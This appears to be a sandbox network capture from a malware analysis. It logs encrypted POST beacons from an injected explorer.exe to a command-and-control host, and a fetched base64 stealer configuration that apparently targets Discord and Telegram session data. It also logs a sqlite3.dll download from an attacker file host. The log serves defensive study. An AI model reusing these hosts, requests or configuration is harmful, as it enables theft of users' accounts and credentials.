Dec 1, 2021 10:04:53.709796906 CET	7135	IN	Data Raw: 9a 4a 98 64 cd 53 8a 2e ba 19 df d0 b1 99 46 ec 7e 70 f0 00 11 ff f4 58 02 11 13 02 24 35 d0 46 53 00 c4 5b a9 fd c5 a2 88 24 c8 2d b9 55 15 44 73 4b f9 40 7f 89 9a 68 7f 76 90 7d 3f ab c6 81 be bf 11 dc fc ba 12 df da 1a e3 35 23 7b 7e b8 fd 01 Data Ascii: JdS.F~pX$5FS[$-UDsK@hv}?5#{~(f85(;@Pz}m1#=3W%=aW3l?tmUwWLJX!d" m}wn+{h 1_'%+Qa"C&HN9(f
Dec 1, 2021 10:04:53.709813118 CET	7136	IN	Data Raw: 1a 26 d4 94 25 88 0d 8f e2 24 f2 89 fb c7 9d 07 59 49 e7 53 af 97 a9 5f fb b1 cd fe 46 49 3c 54 10 d1 6f 7b 17 33 6f 2e ef 39 3b 13 23 aa b8 ce ff eb ee ef 8f 26 38 36 4c bf ef fa c2 f4 f0 f6 fe ff 32 27 7f 69 0d cf ea 39 7a 06 ec 0f bb 12 15 3a Data Ascii: &%$YIS_FI<To{3o.9;#&86L2'i9z:.9;#`_c8c^:p{TZMw:@{0@s>48;HsXl`<9_Vssi7^}z8?%wx>I'< VQqQPo
Dec 1, 2021 10:04:53.709829092 CET	7138	IN	Data Raw: 22 07 36 eb f3 d4 ed a0 9d 72 d4 93 2e 16 ce 50 c0 53 03 a5 d3 3e 3f 60 f8 f0 1b 99 f6 4e 52 40 1d 80 78 bd 44 95 45 53 39 85 19 e9 37 27 5c 11 64 81 59 32 9c 83 f7 71 9b bd 23 df 8b 43 68 3f 40 36 d0 36 de e2 59 3a 3c 14 67 61 a7 5b 1e 51 d4 02 Data Ascii: "6r.PS>?`NR@xDES97'\dY2q#Ch?@66Y:<ga[Q!Y=(2^&/kpn\uz\|\|![n$]&EWz0;RoXm@c{8=AH5Bza^9\|2<!)D[m0^u@
Dec 1, 2021 10:04:53.709845066 CET	7139	IN	Data Raw: fa 7c b4 77 52 7f ec be b7 1f cd d4 53 05 48 04 7f a5 d7 16 7d 01 40 e5 cf 68 d3 19 21 ef 7e 36 fc 07 ee e4 8d c1 2c 45 15 e7 9d 38 21 59 17 1c 12 ff 25 77 24 20 b6 03 0a 75 cd aa 17 21 cd 86 52 05 30 eb 7c 62 30 d3 fb 28 f2 e3 e1 1a d5 ee 25 85 Data Ascii: \|wRSH}@h!~6,E8!Y%w$ u!R0\|b0(%@3=EuA9/{Go['y#8Q9zH6r["I4M[G4T;n;'XvsZ+ EvIJEp"<5SEmq0\|:'VOvp%^
Dec 1, 2021 10:04:53.769364119 CET	7140	IN	Data Raw: bd 32 c5 8b bd 3d db 5b 31 07 32 3c 71 e8 3f 59 2a 53 ed 10 55 63 2b 75 3c 36 a3 bb 86 72 47 46 d0 ce a7 e8 53 a9 a4 0e 61 38 11 2a a8 b5 cf 6f 28 77 f5 c4 17 35 73 81 0d 38 38 6e 1e 71 35 11 c4 9b c5 61 52 71 f4 7f 7a d7 2f 20 bf 16 31 ec d5 e3 Data Ascii: 2=[12<q?YSUc+u<6rGFSa8o(w5s88nq5aRqz/ 1JY$e<W[FZR8q[\|k>?rQk2?{kXINuXt7<6nqKU\|amu:+EW:<f=uZvkQdpu*x~uv`<zWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49827	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:59.901526928 CET	11319	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qpiidyh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 242 Host: host-data-coin-11.com
Dec 1, 2021 10:04:59.901628971 CET	11320	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 84 66 5d 02 c9 a1 c1 64 4f 9b b3 70 Data Ascii: o:@ACFkUwmDu$f]dOp5vP@dnX^^~~%9lju(6,6R ]ku%OFPyYL'CxvW.6<amiS~M)ZOhz=v/bh2`9iN
Dec 1, 2021 10:05:00.006170988 CET	11320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49752	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:26.942143917 CET	1101	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://llalic.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: host-data-coin-11.com
Dec 1, 2021 10:04:26.942167997 CET	1101	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 03 c4 db 11 Data Ascii: o:@ACFkUwmDu$f]d"id^M[qg3S(}=XWjzVe'N{J5PLzJ%W\EL1S<{"y;q~0s#"@%5=6750Pr%J#]wgW{Z3
Dec 1, 2021 10:04:27.042258024 CET	1101	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49828	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.123142004 CET	11321	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mgjqknucl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 178 Host: host-data-coin-11.com
Dec 1, 2021 10:05:00.123152971 CET	11321	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 2f 9c ca 1d Data Ascii: o:@ACFkUwmDu$f]d/_2rMDMj&HkG:05MF}[]7*]@FZI=Dpnmw(R2=
Dec 1, 2021 10:05:00.225522995 CET	11322	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49829	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.318556070 CET	11322	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ehiesag.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: host-data-coin-11.com
Dec 1, 2021 10:05:00.318617105 CET	11323	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 21 a4 aa 34 Data Ascii: o:@ACFkUwmDu$f]d!442lgQ,j=}I{/?f9YyJT)1kV7w8bR;3\|1\b:1V^.=y+lF'ai~a?GJ4Eu_=jB/*
Dec 1, 2021 10:05:00.420095921 CET	11323	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49830	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.514219999 CET	11324	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eyepuy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: host-data-coin-11.com
Dec 1, 2021 10:05:00.516660929 CET	11324	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 14 cd b2 70 Data Ascii: o:@ACFkUwmDu$f]dpc'dn*>;oqh#/Z41V9Y+996cB$o]@)gJG_Q6\|LIrp5tFW,\D\{6[y[+-Y2oC=
Dec 1, 2021 10:05:00.617242098 CET	11325	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49831	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.536287069 CET	11325	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive
Dec 1, 2021 10:05:00.631361961 CET	11326	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49832	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.707607031 CET	11327	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqyvwperx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: host-data-coin-11.com
Dec 1, 2021 10:05:00.707644939 CET	11327	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 30 c1 bd 1e Data Ascii: o:@ACFkUwmDu$f]d0?uXJGaSVNw%#2f5[;`\|KSr4-K< XH:yn=;#G*+WPA)<\|1<g1HjG4
Dec 1, 2021 10:05:00.807302952 CET	11424	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49833	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:00.805763006 CET	11423	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko
Dec 1, 2021 10:05:00.890485048 CET	11425	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 09:05:00 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Thu, 21 Oct 2021 11:48:30 GMT ETag: "9d9d8-5cedb79317f80" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113
Dec 1, 2021 10:05:00.890518904 CET	11427	IN	Data Raw: 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z@B/124t@B
Dec 1, 2021 10:05:00.890541077 CET	11428	IN	Data Raw: 04 c6 41 28 00 c6 41 29 00 c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e Data Ascii: A(A)A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]
Dec 1, 2021 10:05:00.890563011 CET	11429	IN	Data Raw: a1 18 a2 97 60 89 04 24 89 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 Data Ascii: `$U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8
Dec 1, 2021 10:05:00.890583992 CET	11431	IN	Data Raw: 40 a2 97 60 89 5d d8 89 da c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 Data Ascii: @`]UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u
Dec 1, 2021 10:05:00.890607119 CET	11432	IN	Data Raw: 75 e0 89 45 cc 80 fa 2e 0f 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f Data Ascii: uE.7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]s
Dec 1, 2021 10:05:00.890628099 CET	11434	IN	Data Raw: c4 44 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a Data Ascii: D[^_UWVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtU
Dec 1, 2021 10:05:00.890650988 CET	11435	IN	Data Raw: 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc Data Ascii: tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1ff
Dec 1, 2021 10:05:00.890674114 CET	11436	IN	Data Raw: 00 00 00 00 5b c9 c3 55 89 e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 Data Ascii: [UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($
Dec 1, 2021 10:05:00.890696049 CET	11438	IN	Data Raw: 83 78 0c 00 74 30 8b 18 8b 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df Data Ascii: xt0$sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}
Dec 1, 2021 10:05:00.948254108 CET	11439	IN	Data Raw: df ff ff c7 43 5c 00 00 00 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 Data Ascii: C\C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWV

